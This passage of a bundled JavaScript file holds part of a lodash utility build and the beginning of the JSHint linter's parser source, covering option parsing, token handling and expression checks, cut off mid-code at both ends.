isObjectLike(value) && reIsHostCtor.test(value); } function isNumber(value) { return typeof value == 'number' || (isObjectLike(value) && objToString.call(value) == numberTag); } var isPlainObject = !getPrototypeOf ? shimIsPlainObject : function(value) { if (!(value && objToString.call(value) == objectTag)) { return false; } var valueOf = value.valueOf, objProto = isNative(valueOf) && (objProto = getPrototypeOf(valueOf)) && getPrototypeOf(objProto); return objProto ? (value == objProto || getPrototypeOf(value) == objProto) : shimIsPlainObject(value); }; function isString(value) { return typeof value == 'string' || (isObjectLike(value) && objToString.call(value) == stringTag); } function isTypedArray(value) { return isObjectLike(value) && isLength(value.length) && !!typedArrayTags[objToString.call(value)]; } function toPlainObject(value) { return baseCopy(value, keysIn(value)); } var assign = createAssigner(function(object, source, customizer) { return customizer ? assignWith(object, source, customizer) : baseAssign(object, source); }); function has(object, path) { if (object == null) { return false; } var result = hasOwnProperty.call(object, path); if (!result && !isKey(path)) { path = toPath(path); object = path.length == 1 ? object : baseGet(object, baseSlice(path, 0, -1)); path = last(path); result = object != null && hasOwnProperty.call(object, path); } return result; } var keys = !nativeKeys ? shimKeys : function(object) { if (object) { var Ctor = object.constructor, length = object.length; } if ((typeof Ctor == 'function' && Ctor.prototype === object) || (typeof object != 'function' && isLength(length))) { return shimKeys(object); } return isObject(object) ? nativeKeys(object) : []; }; function keysIn(object) { if (object == null) { return []; } if (!isObject(object)) { object = Object(object); } var length = object.length; length = (length && isLength(length) && (isArray(object) || (support.nonEnumArgs && isArguments(object))) && length) || 0; var Ctor = object.constructor, index = -1, isProto = typeof Ctor == 'function' && Ctor.prototype === object, result = Array(length), skipIndexes = length > 0; while (++index < length) { result[index] = (index + ''); } for (var key in object) { if (!(skipIndexes && isIndex(key, length)) && !(key == 'constructor' && (isProto || !hasOwnProperty.call(object, key)))) { result.push(key); } } return result; } var merge = createAssigner(baseMerge); function values(object) { return baseValues(object, keys(object)); } function escapeRegExp(string) { string = baseToString(string); return (string && reHasRegExpChars.test(string)) ? string.replace(reRegExpChars, '\\$&') : string; } function callback(func, thisArg, guard) { if (guard && isIterateeCall(func, thisArg, guard)) { thisArg = null; } return baseCallback(func, thisArg); } function constant(value) { return function() { return value; }; } function identity(value) { return value; } function property(path) { return isKey(path) ? baseProperty(path) : basePropertyDeep(path); } lodash.assign = assign; lodash.callback = callback; lodash.constant = constant; lodash.forEach = forEach; lodash.keys = keys; lodash.keysIn = keysIn; lodash.merge = merge; lodash.property = property; lodash.reject = reject; lodash.restParam = restParam; lodash.slice = slice; lodash.toPlainObject = toPlainObject; lodash.unzip = unzip; lodash.values = values; lodash.zip = zip; lodash.each = forEach; lodash.extend = assign; lodash.iteratee = callback; lodash.clone = clone; lodash.escapeRegExp = escapeRegExp; lodash.findLastIndex = findLastIndex; lodash.has = has; lodash.identity = identity; lodash.includes = includes; lodash.indexOf = indexOf; lodash.isArguments = isArguments; lodash.isArray = isArray; lodash.isEmpty = isEmpty; lodash.isFunction = isFunction; lodash.isNative = isNative; lodash.isNumber = isNumber; lodash.isObject = isObject; lodash.isPlainObject = isPlainObject; lodash.isString = isString; lodash.isTypedArray = isTypedArray; lodash.last = last; lodash.some = some; lodash.any = some; lodash.contains = includes; lodash.include = includes; lodash.VERSION = VERSION; if (freeExports && freeModule) { if (moduleExports) { (freeModule.exports = lodash)._ = lodash; } else { freeExports._ = lodash; } } else { root._ = lodash; } }.call(this)); }).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {}) },{}],"/node_modules/jshint/src/jshint.js":[function(_dereq_,module,exports){ var _ = _dereq_("../lodash"); var events = _dereq_("events"); var vars = _dereq_("./vars.js"); var messages = _dereq_("./messages.js"); var Lexer = _dereq_("./lex.js").Lexer; var reg = _dereq_("./reg.js"); var state = _dereq_("./state.js").state; var style = _dereq_("./style.js"); var options = _dereq_("./options.js"); var scopeManager = _dereq_("./scope-manager.js"); var JSHINT = (function() { "use strict"; var api, // Extension API bang = { "<" : true, "<=" : true, "==" : true, "===": true, "!==": true, "!=" : true, ">" : true, ">=" : true, "+" : true, "-" : true, "*" : true, "/" : true, "%" : true }, declared, // Globals that were declared using /*global ... */ syntax. functionicity = [ "closure", "exception", "global", "label", "outer", "unused", "var" ], functions, // All of the functions inblock, indent, lookahead, lex, member, membersOnly, predefined, // Global variables defined by option stack, urls, extraModules = [], emitter = new events.EventEmitter(); function checkOption(name, t) { name = name.trim(); if (/^[+-]W\d{3}$/g.test(name)) { return true; } if (options.validNames.indexOf(name) === -1) { if (t.type !== "jslint" && !_.has(options.removed, name)) { error("E001", t, name); return false; } } return true; } function isString(obj) { return Object.prototype.toString.call(obj) === "[object String]"; } function isIdentifier(tkn, value) { if (!tkn) return false; if (!tkn.identifier || tkn.value !== value) return false; return true; } function isReserved(token) { if (!token.reserved) { return false; } var meta = token.meta; if (meta && meta.isFutureReservedWord && state.inES5()) { if (!meta.es5) { return false; } if (meta.strictOnly) { if (!state.option.strict && !state.isStrict()) { return false; } } if (token.isProperty) { return false; } } return true; } function supplant(str, data) { return str.replace(/\{([^{}]*)\}/g, function(a, b) { var r = data[b]; return typeof r === "string" || typeof r === "number" ? r : a; }); } function combine(dest, src) { Object.keys(src).forEach(function(name) { if (_.has(JSHINT.blacklist, name)) return; dest[name] = src[name]; }); } function processenforceall() { if (state.option.enforceall) { for (var enforceopt in options.bool.enforcing) { if (state.option[enforceopt] === undefined && !options.noenforceall[enforceopt]) { state.option[enforceopt] = true; } } for (var relaxopt in options.bool.relaxing) { if (state.option[relaxopt] === undefined) { state.option[relaxopt] = false; } } } } function assume() { processenforceall(); if (!state.option.esversion && !state.option.moz) { if (state.option.es3) { state.option.esversion = 3; } else if (state.option.esnext) { state.option.esversion = 6; } else { state.option.esversion = 5; } } if (state.inES5()) { combine(predefined, vars.ecmaIdentifiers[5]); } if (state.inES6()) { combine(predefined, vars.ecmaIdentifiers[6]); } if (state.option.module) { if (state.option.strict === true) { state.option.strict = "global"; } if (!state.inES6()) { warning("W134", state.tokens.next, "module", 6); } } if (state.option.couch) { combine(predefined, vars.couch); } if (state.option.qunit) { combine(predefined, vars.qunit); } if (state.option.rhino) { combine(predefined, vars.rhino); } if (state.option.shelljs) { combine(predefined, vars.shelljs); combine(predefined, vars.node); } if (state.option.typed) { combine(predefined, vars.typed); } if (state.option.phantom) { combine(predefined, vars.phantom); if (state.option.strict === true) { state.option.strict = "global"; } } if (state.option.prototypejs) { combine(predefined, vars.prototypejs); } if (state.option.node) { combine(predefined, vars.node); combine(predefined, vars.typed); if (state.option.strict === true) { state.option.strict = "global"; } } if (state.option.devel) { combine(predefined, vars.devel); } if (state.option.dojo) { combine(predefined, vars.dojo); } if (state.option.browser) { combine(predefined, vars.browser); combine(predefined, vars.typed); } if (state.option.browserify) { combine(predefined, vars.browser); combine(predefined, vars.typed); combine(predefined, vars.browserify); if (state.option.strict === true) { state.option.strict = "global"; } } if (state.option.nonstandard) { combine(predefined, vars.nonstandard); } if (state.option.jasmine) { combine(predefined, vars.jasmine); } if (state.option.jquery) { combine(predefined, vars.jquery); } if (state.option.mootools) { combine(predefined, vars.mootools); } if (state.option.worker) { combine(predefined, vars.worker); } if (state.option.wsh) { combine(predefined, vars.wsh); } if (state.option.globalstrict && state.option.strict !== false) { state.option.strict = "global"; } if (state.option.yui) { combine(predefined, vars.yui); } if (state.option.mocha) { combine(predefined, vars.mocha); } } function quit(code, line, chr) { var percentage = Math.floor((line / state.lines.length) * 100); var message = messages.errors[code].desc; throw { name: "JSHintError", line: line, character: chr, message: message + " (" + percentage + "% scanned).", raw: message, code: code }; } function removeIgnoredMessages() { var ignored = state.ignoredLines; if (_.isEmpty(ignored)) return; JSHINT.errors = _.reject(JSHINT.errors, function(err) { return ignored[err.line] }); } function warning(code, t, a, b, c, d) { var ch, l, w, msg; if (/^W\d{3}$/.test(code)) { if (state.ignored[code]) return; msg = messages.warnings[code]; } else if (/E\d{3}/.test(code)) { msg = messages.errors[code]; } else if (/I\d{3}/.test(code)) { msg = messages.info[code]; } t = t || state.tokens.next || {}; if (t.id === "(end)") { // `~ t = state.tokens.curr; } l = t.line || 0; ch = t.from || 0; w = { id: "(error)", raw: msg.desc, code: msg.code, evidence: state.lines[l - 1] || "", line: l, character: ch, scope: JSHINT.scope, a: a, b: b, c: c, d: d }; w.reason = supplant(msg.desc, w); JSHINT.errors.push(w); removeIgnoredMessages(); if (JSHINT.errors.length >= state.option.maxerr) quit("E043", l, ch); return w; } function warningAt(m, l, ch, a, b, c, d) { return warning(m, { line: l, from: ch }, a, b, c, d); } function error(m, t, a, b, c, d) { warning(m, t, a, b, c, d); } function errorAt(m, l, ch, a, b, c, d) { return error(m, { line: l, from: ch }, a, b, c, d); } function addInternalSrc(elem, src) { var i; i = { id: "(internal)", elem: elem, value: src }; JSHINT.internals.push(i); return i; } function doOption() { var nt = state.tokens.next; var body = nt.body.match(/(-\s+)?[^\s,:]+(?:\s*:\s*(-\s+)?[^\s,]+)?/g) || []; var predef = {}; if (nt.type === "globals") { body.forEach(function(g, idx) { g = g.split(":"); var key = (g[0] || "").trim(); var val = (g[1] || "").trim(); if (key === "-" || !key.length) { if (idx > 0 && idx === body.length - 1) { return; } error("E002", nt); return; } if (key.charAt(0) === "-") { key = key.slice(1); val = false; JSHINT.blacklist[key] = key; delete predefined[key]; } else { predef[key] = (val === "true"); } }); combine(predefined, predef); for (var key in predef) { if (_.has(predef, key)) { declared[key] = nt; } } } if (nt.type === "exported") { body.forEach(function(e, idx) { if (!e.length) { if (idx > 0 && idx === body.length - 1) { return; } error("E002", nt); return; } state.funct["(scope)"].addExported(e); }); } if (nt.type === "members") { membersOnly = membersOnly || {}; body.forEach(function(m) { var ch1 = m.charAt(0); var ch2 = m.charAt(m.length - 1); if (ch1 === ch2 && (ch1 === "\"" || ch1 === "'")) { m = m .substr(1, m.length - 2) .replace("\\\"", "\""); } membersOnly[m] = false; }); } var numvals = [ "maxstatements", "maxparams", "maxdepth", "maxcomplexity", "maxerr", "maxlen", "indent" ]; if (nt.type === "jshint" || nt.type === "jslint") { body.forEach(function(g) { g = g.split(":"); var key = (g[0] || "").trim(); var val = (g[1] || "").trim(); if (!checkOption(key, nt)) { return; } if (numvals.indexOf(key) >= 0) { if (val !== "false") { val = +val; if (typeof val !== "number" || !isFinite(val) || val <= 0 || Math.floor(val) !== val) { error("E032", nt, g[1].trim()); return; } state.option[key] = val; } else { state.option[key] = key === "indent" ? 4 : false; } return; } if (key === "validthis") { if (state.funct["(global)"]) return void error("E009"); if (val !== "true" && val !== "false") return void error("E002", nt); state.option.validthis = (val === "true"); return; } if (key === "quotmark") { switch (val) { case "true": case "false": state.option.quotmark = (val === "true"); break; case "double": case "single": state.option.quotmark = val; break; default: error("E002", nt); } return; } if (key === "shadow") { switch (val) { case "true": state.option.shadow = true; break; case "outer": state.option.shadow = "outer"; break; case "false": case "inner": state.option.shadow = "inner"; break; default: error("E002", nt); } return; } if (key === "unused") { switch (val) { case "true": state.option.unused = true; break; case "false": state.option.unused = false; break; case "vars": case "strict": state.option.unused = val; break; default: error("E002", nt); } return; } if (key === "latedef") { switch (val) { case "true": state.option.latedef = true; break; case "false": state.option.latedef = false; break; case "nofunc": state.option.latedef = "nofunc"; break; default: error("E002", nt); } return; } if (key === "ignore") { switch (val) { case "line": state.ignoredLines[nt.line] = true; removeIgnoredMessages(); break; default: error("E002", nt); } return; } if (key === "strict") { switch (val) { case "true": state.option.strict = true; break; case "false": state.option.strict = false; break; case "func": case "global": case "implied": state.option.strict = val; break; default: error("E002", nt); } return; } if (key === "module") { if (!hasParsedCode(state.funct)) { error("E055", state.tokens.next, "module"); } } var esversions = { es3 : 3, es5 : 5, esnext: 6 }; if (_.has(esversions, key)) { switch (val) { case "true": state.option.moz = false; state.option.esversion = esversions[key]; break; case "false": if (!state.option.moz) { state.option.esversion = 5; } break; default: error("E002", nt); } return; } if (key === "esversion") { switch (val) { case "5": if (state.inES5(true)) { warning("I003"); } case "3": case "6": state.option.moz = false; state.option.esversion = +val; break; case "2015": state.option.moz = false; state.option.esversion = 6; break; default: error("E002", nt); } if (!hasParsedCode(state.funct)) { error("E055", state.tokens.next, "esversion"); } return; } var match = /^([+-])(W\d{3})$/g.exec(key); if (match) { state.ignored[match[2]] = (match[1] === "-"); return; } var tn; if (val === "true" || val === "false") { if (nt.type === "jslint") { tn = options.renamed[key] || key; state.option[tn] = (val === "true"); if (options.inverted[tn] !== undefined) { state.option[tn] = !state.option[tn]; } } else { state.option[key] = (val === "true"); } if (key === "newcap") { state.option["(explicitNewcap)"] = true; } return; } error("E002", nt); }); assume(); } } function peek(p) { var i = p || 0, j = lookahead.length, t; if (i < j) { return lookahead[i]; } while (j <= i) { t = lookahead[j]; if (!t) { t = lookahead[j] = lex.token(); } j += 1; } if (!t && state.tokens.next.id === "(end)") { return state.tokens.next; } return t; } function peekIgnoreEOL() { var i = 0; var t; do { t = peek(i++); } while (t.id === "(endline)"); return t; } function advance(id, t) { switch (state.tokens.curr.id) { case "(number)": if (state.tokens.next.id === ".") { warning("W005", state.tokens.curr); } break; case "-": if (state.tokens.next.id === "-" || state.tokens.next.id === "--") { warning("W006"); } break; case "+": if (state.tokens.next.id === "+" || state.tokens.next.id === "++") { warning("W007"); } break; } if (id && state.tokens.next.id !== id) { if (t) { if (state.tokens.next.id === "(end)") { error("E019", t, t.id); } else { error("E020", state.tokens.next, id, t.id, t.line, state.tokens.next.value); } } else if (state.tokens.next.type !== "(identifier)" || state.tokens.next.value !== id) { warning("W116", state.tokens.next, id, state.tokens.next.value); } } state.tokens.prev = state.tokens.curr; state.tokens.curr = state.tokens.next; for (;;) { state.tokens.next = lookahead.shift() || lex.token(); if (!state.tokens.next) { // No more tokens left, give up quit("E041", state.tokens.curr.line); } if (state.tokens.next.id === "(end)" || state.tokens.next.id === "(error)") { return; } if (state.tokens.next.check) { state.tokens.next.check(); } if (state.tokens.next.isSpecial) { if (state.tokens.next.type === "falls through") { state.tokens.curr.caseFallsThrough = true; } else { doOption(); } } else { if (state.tokens.next.id !== "(endline)") { break; } } } } function isInfix(token) { return token.infix || (!token.identifier && !token.template && !!token.led); } function isEndOfExpr() { var curr = state.tokens.curr; var next = state.tokens.next; if (next.id === ";" || next.id === "}" || next.id === ":") { return true; } if (isInfix(next) === isInfix(curr) || (curr.id === "yield" && state.inMoz())) { return curr.line !== startLine(next); } return false; } function isBeginOfExpr(prev) { return !prev.left && prev.arity !== "unary"; } function expression(rbp, initial) { var left, isArray = false, isObject = false, isLetExpr = false; state.nameStack.push(); if (!initial && state.tokens.next.value === "let" && peek(0).value === "(") { if (!state.inMoz()) { warning("W118", state.tokens.next, "let expressions"); } isLetExpr = true; state.funct["(scope)"].stack(); advance("let"); advance("("); state.tokens.prev.fud(); advance(")"); } if (state.tokens.next.id === "(end)") error("E006", state.tokens.curr); var isDangerous = state.option.asi && state.tokens.prev.line !== startLine(state.tokens.curr) && _.contains(["]", ")"], state.tokens.prev.id) && _.contains(["[", "("], state.tokens.curr.id); if (isDangerous) warning("W014", state.tokens.curr, state.tokens.curr.id); advance(); if (initial) { state.funct["(verb)"] = state.tokens.curr.value; state.tokens.curr.beginsStmt = true; } if (initial === true && state.tokens.curr.fud) { left = state.tokens.curr.fud(); } else { if (state.tokens.curr.nud) { left = state.tokens.curr.nud(); } else { error("E030", state.tokens.curr, state.tokens.curr.id); } while ((rbp < state.tokens.next.lbp || state.tokens.next.type === "(template)") && !isEndOfExpr()) { isArray = state.tokens.curr.value === "Array"; isObject = state.tokens.curr.value === "Object"; if (left && (left.value || (left.first && left.first.value))) { if (left.value !== "new" || (left.first && left.first.value && left.first.value === ".")) { isArray = false; if (left.value !== state.tokens.curr.value) { isObject = false; } } } advance(); if (isArray && state.tokens.curr.id === "(" && state.tokens.next.id === ")") { warning("W009", state.tokens.curr); } if (isObject && state.tokens.curr.id === "(" && state.tokens.next.id === ")") { warning("W010", state.tokens.curr); } if (left && state.tokens.curr.led) { left = state.tokens.curr.led(left); } else { error("E033", state.tokens.curr, state.tokens.curr.id); } } } if (isLetExpr) { state.funct["(scope)"].unstack(); } state.nameStack.pop(); return left; } function startLine(token) { return token.startLine || token.line; } function nobreaknonadjacent(left, right) { left = left || state.tokens.curr; right = right || state.tokens.next; if (!state.option.laxbreak && left.line !== startLine(right)) { warning("W014", right, right.value); } } function nolinebreak(t) { t = t || state.tokens.curr; if (t.line !== startLine(state.tokens.next)) { warning("E022", t, t.value); } } function nobreakcomma(left, right) { if (left.line !== startLine(right)) { if (!state.option.laxcomma) { if (comma.first) { warning("I001"); comma.first = false; } warning("W014", left, right.value); } } } function comma(opts) { opts = opts || {}; if (!opts.peek) { nobreakcomma(state.tokens.curr, state.tokens.next); advance(","); } else { nobreakcomma(state.tokens.prev, state.tokens.curr); } if (state.tokens.next.identifier && !(opts.property && state.inES5())) { switch (state.tokens.next.value) { case "break": case "case": case "catch": case "continue": case "default": case "do": case "else": case "finally": case "for": case "if": case "in": case "instanceof": case "return": case "switch": case "throw": case "try": case "var": case "let": case "while": case "with": error("E024", state.tokens.next, state.tokens.next.value); return false; } } if (state.tokens.next.type === "(punctuator)") { switch (state.tokens.next.value) { case "}": case "]": case ",": if (opts.allowTrailing) { return true; } case ")": error("E024", state.tokens.next, state.tokens.next.value); return false; } } return true; } function symbol(s, p) { var x = state.syntax[s]; if (!x || typeof x !== "object") { state.syntax[s] = x = { id: s, lbp: p, value: s }; } return x; } function delim(s) { var x = symbol(s, 0); x.delim = true; return x; } function stmt(s, f) { var x = delim(s); x.identifier = x.reserved = true; x.fud = f; return x; } function blockstmt(s, f) { var x = stmt(s, f); x.block = true; return x; } function reserveName(x) { var c = x.id.charAt(0); if ((c >= "a" && c <= "z") || (c >= "A" && c <= "Z")) { x.identifier = x.reserved = true; } return x; } function prefix(s, f) { var x = symbol(s, 150); reserveName(x); x.nud = (typeof f === "function") ? f : function() { this.arity = "unary"; this.right = expression(150); if (this.id === "++" || this.id === "--") { if (state.option.plusplus) { warning("W016", this, this.id); } else if (this.right && (!this.right.identifier || isReserved(this.right)) && this.right.id !== "." && this.right.id !== "[") { warning("W017", this); } if (this.right && this.right.isMetaProperty) { error("E031", this); } else if (this.right && this.right.identifier) { state.funct["(scope)"].block.modify(this.right.value, this); } } return this; }; return x; } function type(s, f) { var x = delim(s); x.type = s; x.nud = f; return x; } function reserve(name, func) { var x = type(name, func); x.identifier = true; x.reserved = true; return x; } function FutureReservedWord(name, meta) { var x = type(name, (meta && meta.nud) || function() { return this; }); meta = meta || {}; meta.isFutureReservedWord = true; x.value = name; x.identifier = true; x.reserved = true; x.meta = meta; return x; } function reservevar(s, v) { return reserve(s, function() { if (typeof v === "function") { v(this); } return this; }); } function infix(s, f, p, w) { var x = symbol(s, p); reserveName(x); x.infix = true; x.led = function(left) { if (!w) { nobreaknonadjacent(state.tokens.prev, state.tokens.curr); } if ((s === "in" || s === "instanceof") && left.id === "!") { warning("W018", left, "!"); } if (typeof f === "function") { return f(left, this); } else { this.left = left; this.right = expression(p); return this; } }; return x; } function application(s) { var x = symbol(s, 42); x.led = function(left) { nobreaknonadjacent(state.tokens.prev, state.tokens.curr); this.left = left; this.right = doFunction({ type: "arrow", loneArg: left }); return this; }; return x; } function relation(s, f) { var x = symbol(s, 100); x.led = function(left) { nobreaknonadjacent(state.tokens.prev, state.tokens.curr); this.left = left; var right = this.right = expression(100); if (isIdentifier(left, "NaN") || isIdentifier(right, "NaN")) { warning("W019", this); } else if (f) { f.apply(this, [left, right]); } if (!left || !right) { quit("E041", state.tokens.curr.line); } if (left.id === "!") { warning("W018", left, "!"); } if (right.id === "!") { warning("W018", right, "!"); } return this; }; return x; } function isPoorRelation(node) { return node && ((node.type === "(number)" && +node.value === 0) || (node.type === "(string)" && node.value === "") || (node.type === "null" && !state.option.eqnull) || node.type === "true" || node.type === "false" || node.type === "undefined"); } var typeofValues = {}; typeofValues.legacy = [ "xml", "unknown" ]; typeofValues.es3 = [ "undefined", "boolean", "number", "string", "function", "object", ]; typeofValues.es3 = typeofValues.es3.concat(typeofValues.legacy); typeofValues.es6 = typeofValues.es3.concat("symbol"); function isTypoTypeof(left, right, state) { var values; if (state.option.notypeof) return false; if (!left || !right) return false; values = state.inES6() ? typeofValues.es6 : typeofValues.es3; if (right.type === "(identifier)" && right.value === "typeof" && left.type === "(string)") return !_.contains(values, left.value); return false; } function isGlobalEval(left, state) { var isGlobal = false; if (left.type === "this" && state.funct["(context)"] === null) { isGlobal = true; } else if (left.type === "(identifier)") { if (state.option.node && left.value === "global") { isGlobal = true; } else if (state.option.browser && (left.value === "window" || left.value === "document")) { isGlobal = true; } } return isGlobal; } function findNativePrototype(left) { var natives = [ "Array", "ArrayBuffer", "Boolean", "Collator", "DataView", "Date", "DateTimeFormat", "Error", "EvalError", "Float32Array", "Float64Array", "Function", "Infinity", "Intl", "Int16Array", "Int32Array", "Int8Array", "Iterator", "Number", "NumberFormat", "Object", "RangeError", "ReferenceError", "RegExp", "StopIteration", "String", "SyntaxError", "TypeError", "Uint16Array", "Uint32Array", "Uint8Array", "Uint8ClampedArray", "URIError" ]; function walkPrototype(obj) { if (typeof obj !== "object") return; return obj.right === "prototype" ? obj : walkPrototype(obj.left); } function walkNative(obj) { while (!obj.identifier && typeof obj.left === "object") obj = obj.left; if (obj.identifier && natives.indexOf(obj.value) >= 0) return obj.value; } var prototype = walkPrototype(left); if (prototype) return walkNative(prototype); } function checkLeftSideAssign(left, assignToken, options) { var allowDestructuring = options && options.allowDestructuring; assignToken = assignToken || left; if (state.option.freeze) { var nativeObject = findNativePrototype(left); if (nativeObject) warning("W121", left, nativeObject); } if (left.identifier && !left.isMetaProperty) { state.funct["(scope)"].block.reassign(left.value, left); } if (left.id === ".") { if (!left.left || left.left.value === "arguments" && !state.isStrict()) { warning("E031", assignToken); } state.nameStack.set(state.tokens.prev); return true; } else if (left.id === "{" || left.id === "[") { if (allowDestructuring && state.tokens.curr.left.destructAssign) { state.tokens.curr.left.destructAssign.forEach(function(t) { if (t.id) { state.funct["(scope)"].block.modify(t.id, t.token); } }); } else { if (left.id === "{" || !left.left) { warning("E031", assignToken); } else if (left.left.value === "arguments" && !state.isStrict()) { warning("E031", assignToken); } } if (left.id === "[") { state.nameStack.set(left.right); } return true; } else if (left.isMetaProperty) { error("E031", assignToken); return true; } else if (left.identifier && !isReserved(left)) { if (state.funct["(scope)"].labeltype(left.value) === "exception") { warning("W022", left); } state.nameStack.set(left); return true; } if (left === state.syntax["function"]) { warning("W023", state.tokens.curr); } return false; } function assignop(s, f, p) { var x = infix(s, typeof f === "function" ? f : function(left, that) { that.left = left; if (left && checkLeftSideAssign(left, that, { allowDestructuring: true })) { that.right = expression(10); return that; } error("E031", that); }, p); x.exps = true; x.assign = true; return x; } function bitwise(s, f, p) { var x = symbol(s, p); reserveName(x); x.led = (typeof f === "function") ? f : function(left) { if (state.option.bitwise) { warning("W016", this, this.id); } this.left = left; this.right = expression(p); return this; }; return x; } function bitwiseassignop(s) { return assignop(s, function(left, that) { if (state.option.bitwise) { warning("W016", that, that.id); } if (left && checkLeftSideAssign(left, that)) { that.right = expression(10); return that; } error("E031", that); }, 20); } function suffix(s) { var x = symbol(s, 150); x.led = function(left) { if (state.option.plusplus) { warning("W016", this, this.id); } else if ((!left.identifier || isReserved(left)) && left.id !== "." && left.id !== "[") { warning("W017", this); } if (left.isMetaProperty) { error("E031", this); } else if (left && left.identifier) { state.funct["(scope)"].block.modify(left.value, left); } this.left = left; return this; }; return x; } function optionalidentifier(fnparam, prop, preserve) { if (!state.tokens.next.identifier) { return; } if (!preserve) { advance(); } var curr = state.tokens.curr; var val = state.tokens.curr.value; if (!isReserved(curr)) { return val; } if (prop) { if (state.inES5()) { return val; } } if (fnparam && val === "undefined") { return val; } warning("W024", state.tokens.curr, state.tokens.curr.id); return val; } function identifier(fnparam, prop) { var i = optionalidentifier(fnparam, prop, false); if (i) { return i; } if (state.tokens.next.value === "...") { if (!state.inES6(true)) { warning("W119", state.tokens.next, "spread/rest operator", "6"); } advance(); if (checkPunctuator(state.tokens.next, "...")) { warning("E024", state.tokens.next, "..."); while (checkPunctuator(state.tokens.next, "...")) { advance(); } } if (!state.tokens.next.identifier) { warning("E024", state.tokens.curr, "..."); return; } return identifier(fnparam, prop); } else { error("E030", state.tokens.next, state.tokens.next.value); if (state.tokens.next.id !== ";") { advance(); } } } function reachable(controlToken) { var i = 0, t; if (state.tokens.next.id !== ";" || controlToken.inBracelessBlock) { return; } for (;;) { do { t = peek(i); i += 1; } while (t.id !== "(end)" && t.id === "(comment)"); if (t.reach) { return; } if (t.id !== "(endline)") { if (t.id === "function") { if (state.option.latedef === true) { warning("W026", t); } break; } warning("W027", t, t.value, controlToken.value); break; } } } function parseFinalSemicolon() { if (state.tokens.next.id !== ";") { if (state.tokens.next.isUnclosed) return advance(); var sameLine = startLine(state.tokens.next) === state.tokens.curr.line && state.tokens.next.id !== "(end)"; var blockEnd = checkPunctuator(state.tokens.next, "}"); if (sameLine && !blockEnd) { errorAt("E058", state.tokens.curr.line, state.tokens.curr.character); } else if (!state.option.asi) { if ((blockEnd && !state.option.lastsemic) || !sameLine) { warningAt("W033", state.tokens.curr.line, state.tokens.curr.character); } } } else { advance(";"); } } function statement() { var i = indent, r, t = state.tokens.next, hasOwnScope = false; if (t.id === ";") { advance(";"); return; } var res = isReserved(t); if (res && t.meta && t.meta.isFutureReservedWord && peek().id === ":") { warning("W024", t, t.id); res = false; } if (t.identifier && !res && peek().id === ":") { advance(); advance(":"); hasOwnScope = true; state.funct["(scope)"].stack(); state.funct["(scope)"].block.addBreakLabel(t.value, { token: state.tokens.curr }); if (!state.tokens.next.labelled && state.tokens.next.value !== "{") { warning("W028", state.tokens.next, t.value, state.tokens.next.value); } state.tokens.next.label = t.value; t = state.tokens.next; } if (t.id === "{") { var iscase = (state.funct["(verb)"] === "case" && state.tokens.curr.value === ":"); block(true, true, false, false, iscase); return; } r = expression(0, true); if (r && !(r.identifier && r.value === "function") && !(r.type === "(punctuator)" && r.left && r.left.identifier && r.left.value === "function")) { if (!state.isStrict() && state.option.strict === "global") { warning("E007"); } } if (!t.block) { if (!state.option.expr && (!r || !r.exps)) { warning("W030", state.tokens.curr); } else if (state.option.nonew && r && r.left && r.id === "(" && r.left.id === "new") { warning("W031", t); } parseFinalSemicolon(); } indent = i; if (hasOwnScope) { state.funct["(scope)"].unstack(); } return r; } function statements() { var a = [], p; while (!state.tokens.next.reach && state.tokens.next.id !== "(end)") { if (state.tokens.next.id === ";") { p = peek(); if (!p || (p.id !== "(" && p.id !== "[")) { warning("W032"); } advance(";"); } else { a.push(statement()); } } return a; } function directives() { var i, p, pn; while (state.tokens.next.id === "(string)") { p = peek(0); if (p.id === "(endline)") { i = 1; do { pn = peek(i++); } while (pn.id === "(endline)"); if (pn.id === ";") { p = pn; } else if (pn.value === "[" || pn.value === ".") { break; } else if (!state.option.asi || pn.value === "(") { warning("W033", state.tokens.next); } } else if (p.id === "." || p.id === "[") { break; } else if (p.id !== ";") { warning("W033", p); } advance(); var directive = state.tokens.curr.value; if (state.directive[directive] || (directive === "use strict" && state.option.strict === "implied")) { warning("W034", state.tokens.curr, directive); } state.directive[directive] = true; if (p.id === ";") { advance(";"); } } if (state.isStrict()) { if (!state.option["(explicitNewcap)"]) { state.option.newcap = true; } state.option.undef = true; } } function block(ordinary, stmt, isfunc, isfatarrow, iscase) { var a, b = inblock, old_indent = indent, m, t, line, d; inblock = ordinary; t = state.tokens.next; var metrics = state.funct["(metrics)"]; metrics.nestedBlockDepth += 1; metrics.verifyMaxNestedBlockDepthPerFunction(); if (state.tokens.next.id === "{") { advance("{"); state.funct["(scope)"].stack(); line = state.tokens.curr.line; if (state.tokens.next.id !== "}") { indent += state.option.indent; while (!ordinary && state.tokens.next.from > indent) { indent += state.option.indent; } if (isfunc) { m = {}; for (d in state.directive) { if (_.has(state.directive, d)) { m[d] = state.directive[d]; } } directives(); if (state.option.strict && state.funct["(context)"]["(global)"]) { if (!m["use strict"] && !state.isStrict()) { warning("E007"); } } } a = statements(); metrics.statementCount += a.length; indent -= state.option.indent; } advance("}", t); if (isfunc) { state.funct["(scope)"].validateParams(); if (m) { state.directive = m; } } state.funct["(scope)"].unstack(); indent = old_indent; } else if (!ordinary) { if (isfunc) { state.funct["(scope)"].stack(); m = {}; if (stmt && !isfatarrow && !state.inMoz()) { error("W118", state.tokens.curr, "function closure expressions"); } if (!stmt) { for (d in state.directive) { if (_.has(state.directive, d)) { m[d] = state.directive[d]; } } } expression(10); if (state.option.strict && state.funct["(context)"]["(global)"]) { if (!m["use strict"] && !state.isStrict()) { warning("E007"); } } state.funct["(scope)"].unstack(); } else { error("E021", state.tokens.next, "{", state.tokens.next.value); } } else { state.funct["(noblockscopedvar)"] = state.tokens.next.id !== "for"; state.funct["(scope)"].stack(); if (!stmt || state.option.curly) { warning("W116", state.tokens.next, "{", state.tokens.next.value); } state.tokens.next.inBracelessBlock = true; indent += state.option.indent; a = [statement()]; indent -= state.option.indent; state.funct["(scope)"].unstack(); delete state.funct["(noblockscopedvar)"]; } switch (state.funct["(verb)"]) { case "break": case "continue": case "return": case "throw": if (iscase) { break; } default: state.funct["(verb)"] = null; } inblock = b; if (ordinary && state.option.noempty && (!a || a.length === 0)) { warning("W035", state.tokens.prev); } metrics.nestedBlockDepth -= 1; return a; } function countMember(m) { if (membersOnly && typeof membersOnly[m] !== "boolean") { warning("W036", state.tokens.curr, m); } if (typeof member[m] === "number") { member[m] += 1; } else { member[m] = 1; } } type("(number)", function() { return this; }); type("(string)", function() { return this; }); state.syntax["(identifier)"] = { type: "(identifier)", lbp: 0, 